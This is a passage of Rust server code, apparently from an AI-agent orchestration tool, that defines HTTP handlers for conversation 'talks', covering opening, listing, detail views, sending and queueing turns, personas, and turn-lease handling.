9044            })
9045            .collect();
9046        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
9047            .pending_messages
9048            .iter()
9049            .map(|message| {
9050                notice_markdown(
9051                    message.sender.unwrap_or(talk::Sender::Operator),
9052                    &message.body,
9053                    message.display.as_ref(),
9054                )
9055            })
9056            .collect();
9057        for nodes in &mut turn_bodies_md {
9058            references.markdown(nodes);
9059        }
9060        for nodes in turn_messages_md
9061            .iter_mut()
9062            .flatten()
9063            .chain(pending_messages_md.iter_mut())
9064            .flatten()
9065        {
9066            references.markdown(nodes);
9067        }
9068        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
9069        let persona_name = persona::find(specs, &talk.persona)
9070            .filter(|p| !p.is_default())
9071            .map(|p| p.name);
9072        let mut avatar_persona = persona::find(specs, &talk.persona)
9073            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
9074        // A removed configured persona may still have an override and old talks.
9075        if avatar_persona.id != talk.persona
9076            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
9077        {
9078            avatar_persona.id.clone_from(&talk.persona);
9079            avatar_persona.icon = None;
9080        }
9081        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
9082        let approvals_store = ask::Questions::at(home.join("questions"));
9083        let merge_approvals = talk
9084            .notified
9085            .iter()
9086            .filter_map(|key| key.strip_prefix("question:"))
9087            .filter_map(|id| approvals_store.get(id).ok())
9088            .filter(|q| crate::task_chat::approval_offered(&talk, q))
9089            .filter_map(|q| {
9090                Some(ChatApproval {
9091                    question: q.id,
9092                    target: q.merge_target?,
9093                })
9094            })
9095            .collect();
9096        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
9097        Self {
9098            turn_bodies_md,
9099            turn_messages_md,
9100            pending_messages_md,
9101            merge_approvals,
9102            thinking,
9103            context,
9104            operator_name,
9105            persona_name,
9106            persona_avatar,
9107            magi_avatar: magi_icon_url(home),
9108            operator_avatar: operator_icon_url(home),
9109            talk,
9110        }
9111    }
9112}
9113
9114/// Parse only the user-facing representation of an explicitly identified MAGI send.
9115fn notice_markdown(
9116    sender: talk::Sender,
9117    body: &str,
9118    display: Option<&crate::prompt::NoticeDisplay>,
9119) -> Option<Vec<md::Node>> {
9120    if sender != talk::Sender::Magi {
9121        return None;
9122    }
9123    let text = if let Some(display) = display {
9124        display.facts.as_str()
9125    } else {
9126        // Unknown completion templates may contain internal directives. Never
9127        // promote their agent input to the Markdown display surface.
9128        if crate::prompt::is_completion_notice(body)
9129            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
9130        {
9131            return None;
9132        }
9133        body.strip_prefix("magi: ").unwrap_or(body)
9134    };
9135    Some(md::to_nodes(text, &md::ImageBase::None))
9136}
9137
9138/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
9139/// conversation has filed, so the phone can follow one from inside the
9140/// conversation that asked for it rather than hunting the Queue for a task id
9141/// it may not remember.
9142#[derive(Debug, Serialize)]
9143struct TalkDetailView {
9144    #[serde(flatten)]
9145    view: TalkView,
9146    tasks: Vec<TaskView>,
9147    task_progress: TalkTaskProgress,
9148    /// The agents this talk's repository can switch to; empty when its
9149    /// configuration cannot be read, which must not fail the whole detail.
9150    roster: Vec<RosterEntry>,
9151    /// The personas the conversation can pick from. The built-ins are always
9152    /// listed, even when the repository's configuration cannot be read.
9153    personas: Vec<PersonaEntry>,
9154}
9155
9156/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
9157#[derive(Debug, Serialize)]
9158struct TalkTaskProgress {
9159    state: &'static str,
9160    total: usize,
9161    done: usize,
9162    counts: std::collections::BTreeMap<&'static str, usize>,
9163    unfinished_ids: Vec<String>,
9164}
9165
9166fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
9167    let mut counts = std::collections::BTreeMap::from([
9168        ("queued", 0),
9169        ("running", 0),
9170        ("done", 0),
9171        ("failed", 0),
9172        ("held", 0),
9173        ("blocked", 0),
9174        ("parked", 0),
9175    ]);
9176    let mut unfinished_ids = Vec::new();
9177    for task in tasks {
9178        *counts.entry(task.status.as_str()).or_default() += 1;
9179        if task.status != TaskStatus::Done {
9180            unfinished_ids.push(task.id.clone());
9181        }
9182    }
9183    TalkTaskProgress {
9184        state: if tasks.is_empty() {
9185            "none"
9186        } else if unfinished_ids.is_empty() {
9187            "complete"
9188        } else {
9189            "incomplete"
9190        },
9191        total: tasks.len(),
9192        done: tasks.len() - unfinished_ids.len(),
9193        counts,
9194        unfinished_ids,
9195    }
9196}
9197
9198/// One persona as the talk's persona selector shows it.
9199#[derive(Debug, Serialize)]
9200struct PersonaEntry {
9201    id: String,
9202    name: String,
9203    /// Avatar URL, see [`TalkView::persona_avatar`].
9204    avatar: String,
9205}
9206
9207/// One roster agent as the talk's agent selector shows it.
9208#[derive(Debug, Serialize)]
9209struct RosterEntry {
9210    id: String,
9211    kind: AgentKind,
9212    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
9213    runnable: bool,
9214}
9215
9216/// Bounded summaries; `/page` carries a cursor for older membership.
9217async fn talks_list(
9218    State(ui): State<Arc<Ui>>,
9219    Query(q): Query<ListQuery>,
9220    headers: header::HeaderMap,
9221) -> ApiResult<Json<Vec<TalkListView>>> {
9222    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9223        let limit = q.limit.unwrap_or(50).min(50);
9224        let ids = if let Some(ids) = q.ids {
9225            ids.split(',')
9226                .filter(|id| plain_record_id(id))
9227                .take(limit)
9228                .map(str::to_owned)
9229                .collect()
9230        } else {
9231            page_ids(&ui, true, PageQuery::default())?
9232                .0
9233                .into_iter()
9234                .take(limit.min(STORE_PAGE_SIZE))
9235                .collect()
9236        };
9237        Ok(Json(talk_rows(&ui, ids, &headers)))
9238    })
9239    .await
9240}
9241
9242/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
9243/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
9244/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
9245/// end still opens a talk against an older binary.
9246#[derive(Debug, Default, Deserialize)]
9247#[serde(default)]
9248struct NewTalk {
9249    agent: Option<String>,
9250    repo: Option<PathBuf>,
9251    /// Remembered choices from the browser. Soft: kept as raw JSON so a
9252    /// wrong type is dropped like a stale value instead of failing the request;
9253    /// each falls back to its default on its own (see [`talk::begin_with`]).
9254    preferred_agent: Option<serde_json::Value>,
9255    persona: Option<serde_json::Value>,
9256    implementers: Option<serde_json::Value>,
9257}
9258
9259/// `POST /api/talks` - open a conversation. Takes no agent turn: see
9260/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
9261async fn talk_post(
9262    State(ui): State<Arc<Ui>>,
9263    body: std::result::Result<Json<NewTalk>, JsonRejection>,
9264) -> ApiResult<impl IntoResponse> {
9265    // An absent body, or an empty one, is the normal way to open a talk - see
9266    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
9267    // rather than refused.
9268    let body = match body {
9269        Ok(Json(body)) => body,
9270        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
9271        Err(e) => return Err(ApiError::bad_request(e.body_text())),
9272    };
9273    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
9274    let cfg = config_for(&repo).await?;
9275    let view = blocking(move || {
9276        let preferred = talk::Preferred {
9277            agent: body
9278                .preferred_agent
9279                .as_ref()
9280                .and_then(|v| v.as_str())
9281                .map(str::to_owned),
9282            persona: body
9283                .persona
9284                .as_ref()
9285                .and_then(|v| v.as_str())
9286                .map(str::to_owned),
9287            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
9288        };
9289        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
9290        let thinking = ui.is_thinking(&talk.id);
9291        Ok(TalkView::new(talk, thinking, &ui))
9292    })
9293    .await?;
9294    Ok((StatusCode::CREATED, Json(view)))
9295}
9296
9297/// Transcript first: unrelated queue history and repository probes are deferred.
9298async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
9299    // Keep transcript reads independent of sections and the runtime blocking pool.
9300    bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
9301        let id = resolve_talk(&ui.talks, &id)?;
9302        let talk = ui.talks.get(&id)?;
9303        let thinking = ui.is_thinking_observed(&id);
9304        // The browser already resolves Markdown text/code references after
9305        // rendering. A cold reference/review index must not gate the transcript.
9306        Ok(Json(TalkView::with_references(
9307            talk,
9308            thinking,
9309            None,
9310            &ui.home,
9311            &id_links::IdIndex::default(),
9312        )))
9313    })
9314    .await
9315}
9316
9317async fn talk_sections(
9318    State(ui): State<Arc<Ui>>,
9319    Path(id): Path<String>,
9320) -> ApiResult<Json<serde_json::Value>> {
9321    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9322        let id = resolve_talk(&ui.talks, &id)?;
9323        let talk = ui.talks.get(&id)?;
9324        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9325        let task_progress = talk_task_progress(&tasks);
9326        let tasks: Vec<_> = tasks
9327            .into_iter()
9328            .map(|task| {
9329                serde_json::json!({
9330                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9331                })
9332            })
9333            .collect();
9334        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9335        let roster: Vec<_> = cfg
9336            .as_ref()
9337            .map(|cfg| {
9338                cfg.agents
9339                    .iter()
9340                    .map(|a| RosterEntry {
9341                        id: a.id.clone(),
9342                        kind: a.kind,
9343                        runnable: agent::installed(a),
9344                    })
9345                    .collect()
9346            })
9347            .unwrap_or_default();
9348        let specs = cfg
9349            .as_ref()
9350            .map(|cfg| cfg.talk.personas.clone())
9351            .unwrap_or_default();
9352        let personas: Vec<_> = persona::catalog(&specs)
9353            .into_iter()
9354            .map(|p| PersonaEntry {
9355                avatar: avatar_url(&ui.home, &talk.id, &p),
9356                id: p.id,
9357                name: p.name,
9358            })
9359            .collect();
9360        let active_persona = persona::find(&specs, &talk.persona)
9361            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9362        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9363        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9364        Ok(Json(serde_json::json!({
9365            "tasks": tasks, "task_progress": task_progress,
9366            "roster": roster, "personas": personas,
9367            "context": talk::context_usage(&talk, cfg.as_ref()),
9368            "context_for": talk.updated_at,
9369            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
9370            "persona_name": persona_name,
9371            "persona_avatar": persona_avatar,
9372        })))
9373    })
9374    .await
9375}
9376
9377/// `GET /api/talks/{id}`.
9378async fn talk_detail(
9379    State(ui): State<Arc<Ui>>,
9380    Path(id): Path<String>,
9381) -> ApiResult<Json<TalkDetailView>> {
9382    blocking(move || {
9383        let id = resolve_talk(&ui.talks, &id)?;
9384        let talk = ui.talks.get(&id)?;
9385        let thinking = ui.is_thinking_observed(&talk.id);
9386        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9387        let task_progress = talk_task_progress(&tasks);
9388        let tasks = tasks.into_iter().map(TaskView::from).collect();
9389        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9390        let roster = cfg
9391            .as_ref()
9392            .map(|cfg| {
9393                cfg.agents
9394                    .iter()
9395                    .map(|a| RosterEntry {
9396                        id: a.id.clone(),
9397                        kind: a.kind,
9398                        runnable: agent::installed(a),
9399                    })
9400                    .collect()
9401            })
9402            .unwrap_or_default();
9403        let specs = cfg
9404            .as_ref()
9405            .map(|cfg| cfg.talk.personas.clone())
9406            .unwrap_or_default();
9407        let personas = persona::catalog(&specs)
9408            .into_iter()
9409            .map(|p| PersonaEntry {
9410                avatar: avatar_url(&ui.home, &talk.id, &p),
9411                id: p.id,
9412                name: p.name,
9413            })
9414            .collect();
9415        Ok(Json(TalkDetailView {
9416            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9417            tasks,
9418            task_progress,
9419            roster,
9420            personas,
9421        }))
9422    })
9423    .await
9424}
9425
9426/// The body of `POST /api/talks/{id}/say`.
9427///
9428/// `attachments` names ids `POST /api/talks/{id}/attachments` already
9429/// returned - never bytes of its own - so a turn with no images just omits
9430/// the field, which is what an older front end still does.
9431#[derive(Debug, Default, Deserialize)]
9432#[serde(default, deny_unknown_fields)]
9433struct NewTalkTurn {
9434    reply_to: Option<talk::ReplyTarget>,
9435    text: String,
9436    attachments: Vec<String>,
9437}
9438
9439#[derive(Debug, Deserialize)]
9440#[serde(deny_unknown_fields)]
9441struct EditTalkPending {
9442    #[serde(default)]
9443    message: Option<usize>,
9444    text: String,
9445    expected_text: String,
9446    expected_attachments: Vec<String>,
9447}
9448
9449#[derive(Debug, Deserialize)]
9450#[serde(deny_unknown_fields)]
9451struct ClearTalkPending {
9452    expected_text: String,
9453    expected_attachments: Vec<String>,
9454}
9455
9456/// `POST /api/talks/{id}/say` - one turn of the conversation.
9457///
9458/// Not filesystem work, and therefore not routed through [`blocking`]: this
9459/// route spawns an agent CLI and a turn here can run for the whole of
9460/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
9461/// research turn is expected to run commands rather than answer from what it
9462/// already knows. Holding an HTTP connection open that long is not a thing
9463/// to ask a phone to do; the operator's message is recorded and answered for
9464/// immediately, and the reply lands in the background, discovered through
9465/// the change stream's `talks_rev` the same way every other update on this
9466/// surface is.
9467async fn talk_say(
9468    State(ui): State<Arc<Ui>>,
9469    Path(id): Path<String>,
9470    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9471) -> ApiResult<(StatusCode, Json<TalkView>)> {
9472    let admission = ui.begin_admission()?;
9473    admitted(admission, async move {
9474    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9475    if body.text.trim().is_empty() && body.attachments.is_empty() {
9476        return Err(ApiError::bad_request("say something"));
9477    }
9478
9479    let id = {
9480        let ui = Arc::clone(&ui);
9481        let asked = id.clone();
9482        blocking(move || resolve_talk(&ui.talks, &asked)).await?
9483    };
9484    // A closed Talk never accepts a new immediate or queued turn. Check this
9485    // before claiming a slot so its ordinary domain refusal is a 409, not an
9486    // incidental failure from the later record/queue write.
9487    {
9488        let ui = Arc::clone(&ui);
9489        let id = id.clone();
9490        blocking(move || {
9491            let talk = ui.talks.get(&id)?;
9492            if !talk.status.open() {
9493                return Err(ApiError::conflict(format!(
9494                    "talk {} is {} and takes no more turns",
9495                    talk.short(),
9496                    talk.status.as_str()
9497                )));
9498            }
9499            Ok(())
9500        })
9501        .await?;
9502    }
9503
9504    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
9505    // actually stores, before anything is written - an unknown id is a 4xx
9506    // that names it rather than a turn (or a queued draft) silently missing
9507    // an image.
9508    let attachments = {
9509        let ui = Arc::clone(&ui);
9510        let id = id.clone();
9511        let ids = body.attachments.clone();
9512        blocking(move || {
9513            ids.into_iter()
9514                .map(|att_id| {
9515                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9516                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9517                    })
9518                })
9519                .collect::<ApiResult<Vec<talk::Attachment>>>()
9520        })
9521        .await?
9522    };
9523    let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9524        .await.map_err(ApiError::from)?;
9525
9526    // Pending recovery and a new immediate turn are decided under the same
9527    // claim lock. Without that one critical section, a second `/say` can see
9528    // the first request's claim as "busy" and append itself to the recovered
9529    // draft before the first request rejects it.
9530    let start = {
9531        let ui = Arc::clone(&ui);
9532        let id = id.clone();
9533        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9534    };
9535    let turn_guard = match start {
9536        TalkTurnStart::Claimed(turn_guard) => turn_guard,
9537        TalkTurnStart::Pending => {
9538            return Err(ApiError::conflict(
9539                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9540            ));
9541        }
9542        TalkTurnStart::Foreign => {
9543            return Err(ApiError::conflict(
9544                "a turn is already running in another process; try again when it has finished",
9545            ));
9546        }
9547        TalkTurnStart::Busy => {
9548            // A turn is already running: queue rather than refuse. See
9549            // `Ui::begin_talk_turn` and `talk::queue`.
9550            //
9551            // The queue write and the drain it may owe live inside the task
9552            // `tokio::spawn` hands to the runtime, for the same reason the
9553            // immediate path below puts `record` there: a dropped handler
9554            // future must not be able to land between a durable write and
9555            // the task that answers it. `blocking` runs its closure on
9556            // `spawn_blocking`, which finishes whether or not anyone is left
9557            // to receive its result - so a disconnect at the `.await` below
9558            // would otherwise leave the draft persisted and the reclaimed
9559            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
9560            // ever started and the queued text stranded until some later
9561            // `say` happened to pick it up. The caller's 202 travels back
9562            // over a `oneshot`, sent the moment the write lands.
9563            let (tx, rx) = tokio::sync::oneshot::channel();
9564            tokio::spawn({
9565                let ui = Arc::clone(&ui);
9566                let id = id.clone();
9567                let said = body.text.clone();
9568                let reply_to = body.reply_to.clone();
9569                async move {
9570                    let written = blocking({
9571                        let ui = Arc::clone(&ui);
9572                        let id = id.clone();
9573                        move || {
9574                            let mut talk = ui.talks.get(&id)?;
9575                            // A test-only stop point, right before the write
9576                            // an interleaving test needs to pin - see
9577                            // `BusyQueueGate`. `None` in every real server:
9578                            // the field only exists under `#[cfg(test)]`.
9579                            #[cfg(test)]
9580                            if let Some(gate) = ui
9581                                .busy_queue_gate
9582                                .lock()
9583                                .unwrap_or_else(PoisonError::into_inner)
9584                                .take()
9585                            {
9586                                let _ = gate.reached.send(());
9587                                let _ = gate.release.recv();
9588                            }
9589                            if let Err(error) = talk::queue_reply(
9590                                &mut talk,
9591                                &ui.talks,
9592                                &said,
9593                                attachments,
9594                                reply_to,
9595                            ) {
9596                                if let Ok(fresh) = ui.talks.get(&id) {
9597                                    if !fresh.status.open() {
9598                                        return Err(ApiError::conflict(format!(
9599                                            "talk {} is {} and takes no more turns",
9600                                            fresh.short(),
9601                                            fresh.status.as_str()
9602                                        )));
9603                                    }
9604                                }
9605                                return Err(
9606                                    if error.to_string().contains("invalid reply target") {
9607                                        ApiError::bad_request("invalid reply target")
9608                                    } else {
9609                                        ApiError::from(error)
9610                                    },
9611                                );
9612                            }
9613                            // The turn that looked busy a moment ago can have
9614                            // finished, found nothing to drain and given up the
9615                            // slot in the gap between that check and this write
9616                            // landing - see `drain_loop`'s own doc for the other
9617                            // half of why that gap would otherwise be able to
9618                            // open at all. Reclaiming the slot here, rather than
9619                            // trusting that whoever held it is still watching, is
9620                            // what stops the text just queued from being stranded
9621                            // until an unrelated future `say` happens to drain
9622                            // it.
9623                            let claim = match ui.begin_queued_talk_turn(&id)? {
9624                                Some(turn_guard) => {
9625                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
9626                                    Some((talk.clone(), cfg, turn_guard))
9627                                }
9628                                None => None,
9629                            };
9630                            let thinking = ui.is_thinking(&id);
9631                            Ok((TalkView::new(talk, thinking, &ui), claim))
9632                        }
9633                    })
9634                    .await;
9635                    #[cfg(not(test))]
9636                    {
9637                        match written {
9638                            Ok((view, reclaimed)) => {
9639                                let launched = crate::chat_worker::spawn_turn(&ui.talks, &id).await;
9640                                drop(reclaimed);
9641                                match launched {
9642                                    Ok(_) => { let _ = tx.send(Ok(view)); }
9643                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9644                                }
9645                            }
9646                            Err(error) => { let _ = tx.send(Err(error)); }
9647                        }
9648                    }
9649                    #[cfg(test)]
9650                    {
9651                    let (view, reclaimed) = match written {
9652                        Ok(pair) => pair,
9653                        Err(e) => {
9654                            // Nobody is listening if the handler's own future
9655                            // was already dropped - that is fine, nothing was
9656                            // persisted and there is no response left to carry
9657                            // this error to.
9658                            let _ = tx.send(Err(e));
9659                            return;
9660                        }
9661                    };
9662                    // If this fails, the caller is gone; the drain below still
9663                    // runs exactly as it would have for a caller that stayed.
9664                    let _ = tx.send(Ok(view));
9665                    if let Some((talk, cfg, turn_guard)) = reclaimed {
9666                        let talks = ui.talks.clone();
9667                        drain_loop(talk, talks, cfg, id, turn_guard).await;
9668                    }
9669                    }
9670                }
9671            });
9672            let view = rx
9673                .await
9674                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9675            return Ok((StatusCode::ACCEPTED, Json(view)));
9676        }
9677    };
9678
9679    let (talk, cfg) = {
9680        let ui = Arc::clone(&ui);
9681        let id = id.clone();
9682        blocking(move || {
9683            let talk = ui.talks.get(&id)?;
9684            let (cfg, _) = Config::discover(&talk.repo, None)?;
9685            Ok((talk, cfg))
9686        })
9687        .await?
9688    };
9689
9690    let talks = ui.talks.clone();
9691    // `record` runs *inside* the spawned task, rather than in this handler
9692    // followed by a separate `tokio::spawn` for `respond` - axum drops this
9693    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
9694    // doc), and that drop can land at any `.await` this function makes,
9695    // including one that has already produced its result but not yet
9696    // resumed. A message could end up recorded on disk with the handler
9697    // future gone before it ever reached the `tokio::spawn` that would have
9698    // started the reply. `tokio::spawn` itself is a plain, synchronous call
9699    // that hands the whole future to the runtime as one unit - once made, no
9700    // later drop of *this* handler's own future (that call's return value is
9701    // never held onto here) can reach back in and stop it, so record and the
9702    // hand-off to `respond` are unconditionally atomic from the client's
9703    // point of view. The immediate response this handler owes the caller
9704    // travels back over a `oneshot`, sent the moment `record` succeeds.
9705    let (tx, rx) = tokio::sync::oneshot::channel();
9706    tokio::spawn({
9707        #[cfg(test)]
9708        let ui = Arc::clone(&ui);
9709        let talks = talks.clone();
9710        let id = id.clone();
9711        let said = body.text.clone();
9712        let reply_to = body.reply_to.clone();
9713        let mut talk = talk.clone();
9714        async move {
9715            let recorded = blocking({
9716                let talks = talks.clone();
9717                move || {
9718                    if let Err(error) =
9719                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9720                    {
9721                        if let Ok(fresh) = talks.get(&talk.id) {
9722                            if !fresh.status.open() {
9723                                return Err(ApiError::conflict(format!(
9724                                    "talk {} is {} and takes no more turns",
9725                                    fresh.short(),
9726                                    fresh.status.as_str()
9727                                )));
9728                            }
9729                        }
9730                        return Err(if error.to_string().contains("invalid reply target") {
9731                            ApiError::bad_request("invalid reply target")
9732                        } else {
9733                            ApiError::from(error)
9734                        });
9735                    }
9736                    // `record` mutates `talk` in place to the freshly persisted
9737                    // state (status, pending, and the just-appended operator
9738                    // turn), so returning it here is equivalent to re-reading it
9739                    // from disk - without the extra round trip a re-read would
9740                    // need.
9741                    Ok((said.trim().to_owned(), talk))
9742                }
9743            })
9744            .await;
9745            let (text, talk) = match recorded {
9746                Ok(pair) => pair,
9747                Err(e) => {
9748                    // Nobody is listening if the handler's own future was
9749                    // already dropped - that is fine, there is no response
9750                    // left to carry this error to and nothing was persisted.
9751                    let _ = tx.send(Err(e));
9752                    return;
9753                }
9754            };
9755            #[cfg(not(test))]
9756            {
9757                let _ = (&cfg, &text);
9758                // The reservation becomes durable while this process still
9759                // holds the talk lease. The child waits for that lease; the
9760                // new UI sees its startup reservation immediately.
9761                let result = crate::chat_worker::spawn_recorded_turn(
9762                    &talks, &id, talk.turns.len() - 1,
9763                ).await;
9764                drop(turn_guard);
9765                match result {
9766                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9767                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9768                }
9769            }
9770            #[cfg(test)]
9771            {
9772            let queued = talk.clone();
9773            let mut talk = talk;
9774            let thinking = ui.is_thinking(&id);
9775            // If this fails, the caller is gone; the turn still runs below
9776            // exactly as it would have for a caller that stayed connected.
9777            let _ = tx.send(Ok((queued, thinking)));
9778
9779            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9780                // `respond` records the failure in the transcript itself,
9781                // which is what the phone reads; this line is for the
9782                // operator's terminal.
9783                tracing::warn!("talk {id} turn failed: {e:#}");
9784            }
9785            // Anything `talk::queue` added while the turn above was running
9786            // is still owed an answer - see `drain_loop`.
9787            drain_loop(talk, talks, cfg, id, turn_guard).await;
9788            }
9789        }
9790    });
9791
9792    let (queued, thinking) = rx
9793        .await
9794        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9795
9796    // 202: the operator's message is recorded and a turn is running.
9797    Ok((
9798        StatusCode::ACCEPTED,
9799        Json(TalkView::new(queued, thinking, &ui)),
9800    ))
9801    }).await
9802}
9803
9804/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
9805/// changing it. The turn guard is the same per-talk ownership `talk_say`
9806/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
9807async fn talk_pending_resume(
9808    State(ui): State<Arc<Ui>>,
9809    Path(id): Path<String>,
9810) -> ApiResult<(StatusCode, Json<TalkView>)> {
9811    let admission = ui.begin_admission()?;
9812    admitted(admission, async move {
9813        let id = {
9814            let ui = Arc::clone(&ui);
9815            let asked = id.clone();
9816            blocking(move || resolve_talk(&ui.talks, &asked)).await?
9817        };
9818        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9819            .await
9820            .map_err(ApiError::from)?;
9821        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9822            return Err(ApiError::conflict(
9823                "a talk turn is already running; the queued draft will be handled by it",
9824            ));
9825        };
9826        let (talk, cfg) = {
9827            let ui = Arc::clone(&ui);
9828            let id = id.clone();
9829            blocking(move || {
9830                let talk = ui.talks.get(&id)?;
9831                if !talk.status.open() {
9832                    return Err(ApiError::conflict(format!(
9833                        "talk {} is {} and takes no more turns",
9834                        talk.short(),
9835                        talk.status.as_str()
9836                    )));
9837                }
9838                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9839                    return Err(ApiError::conflict("there is no queued draft to resume"));
9840                }
9841                let (cfg, _) = Config::discover(&talk.repo, None)?;
9842                Ok((talk, cfg))
9843            })
9844            .await?
9845        };
9846        let view = TalkView::new(talk.clone(), true, &ui);
9847        let talks = ui.talks.clone();
9848        #[cfg(not(test))]
9849        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9850        #[cfg(test)]
9851        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9852        Ok((StatusCode::ACCEPTED, Json(view)))
9853    })
9854    .await
9855}
9856
9857/// Hand off an admitted draft while retaining the talk lease until its
9858/// detached startup reservation is durable.
9859#[cfg(not(test))]
9860async fn detach_talk_turn(
9861    _talk: Talk,
9862    talks: Talks,
9863    _cfg: Config,
9864    id: String,
9865    turn: TalkTurnGuard,
9866) -> ApiResult<()> {
9867    let launched = crate::chat_worker::spawn_turn(&talks, &id).await;
9868    drop(turn);
9869    launched.map(|_| ()).map_err(ApiError::from)
9870}
9871
9872#[cfg(test)]
9873async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9874    drain_loop_started(talk, talks, cfg, id, turn, None).await;
9875}
9876
9877/// A settings response must not report idle while its claim is still held.
9878/// Wait until the first drain either releases the claim or promotes a draft.
9879/// The task owns the guard even if the HTTP handler is cancelled while waiting.
9880async fn settle_settings_turn(
9881    talk: Talk,
9882    talks: Talks,
9883    cfg: Config,
9884    id: String,
9885    turn: TalkTurnGuard,
9886    observed: u64,
9887) -> bool {
9888    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9889        let turns = Arc::clone(&turn.turns);
9890        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9891        if live.queued.get(&id).copied().unwrap_or(0) == observed {
9892            // Release under the arrival lock; a later `/say` takes its own claim.
9893            turn.release(&mut live);
9894            return false;
9895        }
9896    }
9897    let (started, settled) = tokio::sync::oneshot::channel();
9898    tokio::spawn(drain_loop_started(
9899        talk,
9900        talks,
9901        cfg,
9902        id,
9903        turn,
9904        Some(started),
9905    ));
9906    settled.await.unwrap_or(false)
9907}
9908
9909#[cfg(not(test))]
9910async fn drain_loop_started(
9911    talk: Talk,
9912    talks: Talks,
9913    _cfg: Config,
9914    id: String,
9915    turn: TalkTurnGuard,
9916    started: Option<tokio::sync::oneshot::Sender<bool>>,
9917) {
9918    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9919    let running = if pending {
9920        match crate::chat_worker::spawn_turn(&talks, &id).await {
9921            Ok(_) => true,
9922            Err(error) => {
9923                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
9924                false
9925            }
9926        }
9927    } else {
9928        false
9929    };
9930    drop(turn);
9931    if let Some(started) = started {
9932        let _ = started.send(running);
9933    }
9934}
9935
9936// Existing in-process conversation tests exercise transcript/arrival ordering;
9937// real process-lifetime behavior is covered by the CLI integration tests.
9938#[cfg(test)]
9939async fn drain_loop_started(
9940    mut talk: Talk,
9941    talks: Talks,
9942    cfg: Config,
9943    id: String,
9944    turn: TalkTurnGuard,
9945    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
9946) {
9947    let live_set = Arc::clone(&turn.turns);
9948    // `Option` rather than binding `turn` directly to a `_turn` that lives
9949    // for the whole function: releasing it has to happen by calling
9950    // `TalkTurnGuard::release` from inside the locked branch below, which
9951    // takes `self` by value. Left as a plain drop instead, `Drop` would still
9952    // remove the id - correctly, if this loop is ever left some other way -
9953    // but doing it there misses the lock this loop is already holding, which
9954    // is the exact gap `release` exists to close.
9955    let mut turn = Some(turn);
9956    loop {
9957        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
9958            // The lease was taken over while a turn ran. Whatever is queued
9959            // stays a draft; running it here would race the new owner.
9960            tracing::warn!("talk {id} lost its turn lease; not draining further");
9961            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9962            if let Some(turn) = turn.take() {
9963                turn.release(&mut live);
9964            }
